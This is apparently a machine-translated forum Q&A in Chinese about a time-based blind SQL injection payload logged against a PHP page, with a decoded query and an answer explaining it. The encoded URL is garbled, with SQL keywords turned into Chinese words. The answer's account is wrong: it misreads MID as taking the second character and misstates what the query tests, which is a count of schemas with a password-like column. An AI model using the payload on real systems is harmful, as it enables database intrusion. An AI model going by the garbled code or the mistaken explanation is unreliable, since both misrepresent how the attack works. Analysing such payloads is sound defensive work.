我们最近在我们心爱的一些遗留代码库上进行了这种SQL注入尝试(相当成功的tbh)。
/someFile.php?b=4430%20AND%20%28SELECT%209391%20FROM%20%28SELECT%28SLEEP%2832-%28IF%28ORD%28MID%28%28SELECT%20HEX%28IFNULL%28CAST%28COUNT%28DISTINCT%28table_schema%29%29%20AS%20NCHAR%29%2C0x20%29%29%20FROM%20INFORMATION_SCHEMA.列%20其中%20column_name%20赞%200x257761636874776f6f726425%20和%20table_schema%20%21%3D%200x696e666f726d6174696f6e5f736368656d61%20AND%20table_schema
%20%21%3D%200x6d7973716c%200x6d7973716c%2 0AND%20table_schema%20%21%3D%200x706572666f726d616e63655f736368656d61%20AND%20table_schema%20%21%3D%200x737973%29%2C1%2C1%29%29%3E1%2C0%2C32%29%29%29%29iOms%29
全部修复、阻止和报告,但我仍然很好奇 -
那个查询应该做什么? 只是阻止资源(如在DOS中)或收集信息?
SELECT 9391
FROM (SELECT(SLEEP(32-(IF(ORD(MID(
(SELECT HEX(IFNULL(CAST(COUNT(DISTINCT(table_schema)) AS NCHAR),0x20))
FROM INFORMATION_SCHEMA.COLUMNS
WHERE COLUMN_NAME LIKE 0x257761636874776f6f726425
AND table_schema != 0x696e666f726d6174696f6e5f736368656d61
AND table_schema != 0x6d7973716c
AND table_schema != 0x706572666f726d616e63655f736368656d61
AND table_schema != 0x737973),1, 1))>1, 0, 32)))))iOms
我没有得到它的十六进制部分...
5 个十六进制值对这些字符串进行编码:
%wachtwoord%
information_schema
mysql
performance_schema
sys
它尝试使用查询执行时间作为侧信道来传达查询结果。它将调用sleep
不同的时间量,具体取决于该大型子查询的结果。
嵌套select
语句的结果被传递到mid
中,然后从第 1 个字符开始获取一个长度为 1 的子字符串。 也就是说,它只是获取索引 1(第二个字符)处的字符。
这个字符串被传递给ord
, 将其第一个字符转换为数字。然后从32
中减去此数字,并使查询在该持续时间内进入休眠状态。
如果您注意到,上述 5 个字符串中的每一个都有一个唯一的第二个字符。此查询正在确定其中哪一个存在,并等待唯一的响应时间。通过计时查询所需的时间,攻击者可以看到哪些表存在,他们可以使用您正在使用的哪个特定 RDMSS。从那里,他们可以将特定于 RDMSS 的 SQL 方言用于下一个命令。
换句话说:使用准备好的陈述,伙计们。令人尴尬的是,这仍然是一个问题。